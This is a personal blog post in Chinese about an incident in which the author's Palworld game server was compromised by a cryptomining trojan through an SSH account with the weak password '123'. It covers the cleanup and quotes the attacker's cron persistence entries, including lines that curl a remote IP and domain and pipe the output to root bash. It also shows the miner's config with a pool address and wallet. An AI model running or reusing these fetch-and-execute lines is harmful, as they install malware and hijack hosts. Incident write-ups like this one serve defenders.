LikeGiver

LikeGiver

自搭的Palworld服务器被挖矿程序攻击了,记录一下

2024-01-27

系统是ubuntu20.04系统,用的腾讯云服务器,被攻击原因很简单,一个user的密码设置的太简单了(我傻逼了),设置的123,有点过于简单,导致这个问题,为什么会设置这么简单呢?

因为我参考的这个教程:https://www.nodeseek.com/post-61288-1

其中他有一行:

sudo passwd steam 123

我没动脑子直接抄了。。。

接下来三天游玩都很顺利,直到1.27凌晨1:27,玩着玩着突然寄了,一上服务器发现CPU满负荷了(我也就四核的CPU),一看进程,有个xrx程序,一搜索,被挖矿程序攻击了,我试着重新登录我的steam用户,密码尝试几次不行,然后发现passwd程序都被修改了,我重新安装了,但密码问题似乎仍没完全解决,同时ssh公钥里面也被偷偷加了东西,腾讯云的预警显示ip是荷兰的,但挑这个时间攻击,应该是国人,然后我看了看挖矿程序,在github上搜到了:https://github.com/xmrig/xmrig

接着我看了看程序里设置的挖矿的user,搜索到了这篇博客:https://www.antiy.cn/research/notice&report/research_report/20230228.html

可以说是标准答案了,很详细了说明了攻击方式:

屏幕截图 2024-01-27 023734.png

可谓是无恶不作了,这次没有创建账户,其他部分似乎也和之前的做法有些区别。

首先是打开腾讯云的救援模式强行切到root用户(我都不知道他怎么改的/root/.ssh下的公钥的,反正我用ubuntu用户su失败了),把所有用户的公钥都清了(他把steam的公钥也加了)

接着是计划任务部分:

我在/etc/cron't中找到了这样的计划:

#@daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown

#@reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown

#1   root /var/tmp/.x/secure >/dev/null 2>&1 & disown

#*/30   root curl 185.196.8.104:1011/next | bash

#*/30   root curl load.whitesnake.church:1011/next | bash

chatgpt对这段代码的分析如下:

  1. @daily root /var/tmp/.x/secure >/dev/null 2>&1 & disown

    • @daily:每天执行一次指定的命令。

    • root:以 root 用户的身份执行。

    • /var/tmp/.x/secure:执行 /var/tmp/.x/ 目录下名为 secure 的脚本或程序。

    • >/dev/null 2>&1:将标准输出(stdout)和标准错误(stderr)重定向到 /dev/null(即丢弃所有输出)。

    • & disown:在后台运行并与 shell 解除关联,即使关闭 shell 也继续运行。

  2. @reboot root /var/tmp/.xrx/init.sh hide >/dev/null 2>&1 & disown

    • @reboot:每次系统启动时执行。

    • /var/tmp/.xrx/init.sh hide:执行 /var/tmp/.xrx/ 目录下的 init.sh 脚本,并传递 hide 作为参数。

    • 其他部分与第一条命令类似,意味着脚本在后台运行,输出被丢弃。

  3. 1 * * * * root /var/tmp/.x/secure >/dev/null 2>&1 & disown

    • 这个 cron 任务每小时的第一分钟执行。

    • 执行的脚本和重定向方式与第一条命令相同。

  4. */30 * * * * root curl 185.196.8.104:1011/next | bash

  5. */30 * * * * root curl load.whitesnake.church:1011/next | bash

    • 与上一条命令类似,也是每30分钟执行一次。

    • 从另一个不同的 URL 下载并执行脚本。

所以说命令的核心就是/var/tmp/.x/secure 和/var/tmp/.xrx/init.sh

这两个程序其实腾讯云也提醒了,我用find命令查找被攻击时的修改文件也发现了,上面找到github程序就是看的这里。


root@VM-16-4-centos:/usr/bin# find / -newermt "2024-01-27 01:27" ! -newermt "2024-01-27 01:28"
/etc/shadow-
/etc/passwd
/etc/subuid
/etc/group
/etc/pam.d/common-auth
/etc/gshadow-
/etc/gshadow
/etc/group-
/etc/subgid
/etc/passwd-
find: ‘/proc/2390/task/2390/fd/5’: No such file or directory
find: ‘/proc/2390/task/2390/fdinfo/5’: No such file or directory
find: ‘/proc/2390/fd/6’: No such file or directory
find: ‘/proc/2390/fdinfo/6’: No such file or directory
/var/lib/dpkg/info/msr-tools.list
/var/tmp/.x
/var/tmp/.xrx
/var/spool/cron/crontabs
/var/log/faillog
/usr/local/qcloud/YunJing/QuaraV2/package_d01cee3bf47bbe9cd18505e4189baa2e.zip
/usr/sbin/pam_tms
/usr/share/doc
/usr/share/doc/msr-tools
/home/steam
/home/steam/.bashrc

因为突破口是steam用户,然后他就改了这个.bashrc,打开一看:

把passwd设置了别名,难绷

注意到上面被修改的文件中,除了计划相关、和那两个带x文件,还有一个/user/sbin/pam_tms很可疑,一搜发现这张图:

我们用vim打开这个文件,发现乱码:

但是刚才的网站给出了解释:

hoze挖矿木马在传播方式和初始执行脚本等攻击方式上与其他流行挖矿木马家族并无区别,但在攻击样本方面使用 shc 工具加密 Shell 脚本,利用该工具可以使 Shell 脚本转换成二进制可执行文件(ELF),使用RC4 加密算法对其进行加密,目的是为了增加反病毒软件的检测难度。

我发现github上有ubshc工具可以解密,但是我现在是windows系统(为了打palworld),所以我先用psftp存储下来这个文件之后再解密看了,服务器上的为了安全我就删除了。

/var/tmp/.x下就一个文件secure,同样被加密,.xrx下就config文件是可读的,我一开始就看过了,长这样(他甚至没改donate level,给xmrig作者捐百分之一的收益):

{
    "api": {
        "id": null,
        "worker-id": null
    },
    "http": {
        "enabled": false,
        "host": "127.0.0.1",
        "port": 0,
        "access-token": null,
        "restricted": true
    },
    "autosave": false,
    "background": false,
    "colors": true,
    "title": true,
    "randomx": {
        "init": -1,
        "init-avx2": -1,
        "mode": "auto",
        "1gb-pages": false,
        "rdmsr": true,
        "wrmsr": true,
        "cache_qos": false,
        "numa": true,
        "scratchpad_prefetch_mode": 1
    },
    "cpu": {
        "enabled": true,
        "huge-pages": true,
        "huge-pages-jit": false,
        "hw-aes": null,
        "priority": null,
        "memory-pool": false,
        "yield": true,
        "asm": true,
        "argon2-impl": null,
        "astrobwt-max-size": 550,
        "astrobwt-avx2": false,
        "rx": {
		"intensity": 3,
		"threads": -1,
		"affinity": -1
	},
        "cn/0": false,
        "cn-lite/0": false,
        "rx/arq": "rx/wow",
        "rx/keva": "rx/wow"
    },
    "log-file": null,
    "donate-level": 1,
    "donate-over-proxy": 1,
    "pools": [
        {
            "algo": null,
            "coin": null,
            "url": "185.196.8.177:2008",
            "user": "4BDcc1fBZ26HAzPpYHKczqe95AKoURDM6EmnwbPfWBqJHgLEXaZSpQYM8pym2Jt8JJRNT5vjKHAU1B1mmCCJT9vJHaG2QRL",
            "pass": "proxy0",
            "rig-id": "",
            "nicehash": false,
            "keepalive": false,
            "enabled": true,
            "tls": true,
            "tls-fingerprint": null,
            "daemon": false,
            "socks5": null,
            "self-select": null,
            "submit-to-origin": false
        },
        {
...省略...

文件结构如下,奇怪的是没看到passwd,那之前设置别名意义何在?但是我的password命令确实被修改了,可能是病毒版本不一样了,之前的博客中是依靠这个别名来修改password,这个版本是直接修改password命令:

我哪些系统命令懒得一个个看了,我已经把服务器ip改了(腾讯云有一次修改机会),要是再出问题,我就。。。。换个服务器